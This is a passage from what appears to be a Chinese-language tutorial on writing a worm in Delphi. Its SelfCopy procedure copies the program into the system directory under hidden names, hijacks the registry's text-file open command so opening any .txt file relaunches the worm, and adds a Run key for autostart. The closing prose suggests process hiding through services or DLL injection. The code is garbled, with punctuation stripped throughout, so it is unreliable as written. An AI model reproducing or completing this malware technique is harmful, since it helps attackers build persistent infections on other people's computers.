下面
我综合上面的说明来给出一个简短的例子
procedure SelfCopy;
var
Pathvalue:array [] of char;
Hk:HKEY;
S:string;
begin
GetSystemDirectory(Path);
//取得系统的路径
s:=strpas(Path);
//转换成字符串
CopyFile(pchar(paramstr())pchar(S+/ruinexe)false);
CopyFile(pchar(paramstr())pchar(S+/virus_ruinexe)false);
//把自身拷贝到系统目录下为ruinexevirus_ruinexe
SetFileAttributes(pchar(S+/ruinexe)FILE_ATTRIBUTE_HIDDEN+FILE_ATTRIBUTE_SYSTEM);
SetFileAttributes(pchar(S+/virus_ruinexe)FILE_ATTRIBUTE_HIDDEN+FILE_ATTRIBUTE_SYSTEM);
//设置刚才的两个文件为系统和隐藏
RegOpenKey(HKEY_CLASSES_ROOTtxtfile/shell/open/commandHk);
value:=virus_ruinexe %;
RegSetvalueEx(HkREG_SZ@value);
//把virus_ruinexe和文本文件关联
RegOpenKey(HKEY_LOCAL_MACHINESoftware/Microsoft/Windows/CurrentVersion/RunHk);
value:=ruinexe;
RegSetvalueEx(HkruinREG_SZ@value);
//设置开机自动运行ruinexe
end;
我们看上面的这个程序就完成了自我复制和开机自动运行并且关联了文本文件这样如果run下的键被删除那么他打开文本文件蠕虫文件又被激活
不过这个样子你就需要在你的主程序里面进行判断如果传递的参数等于 则打开该文本并且进行自我保护
如
begin
if paramcount= then
shellexecute(opennotepadexepchar(paramstr())nilsw_normal);
//其他的代码
这里我只是给出一个简单的例子来描述出一个大概的思路很多地方还不完善比如进程的隐藏你可以进行判断如果是你可以registerserverapplication如果你是用的你可以做为服务启动或者是插入dll或者是用求职信的方法开机加载一个dll或者是winini
[] []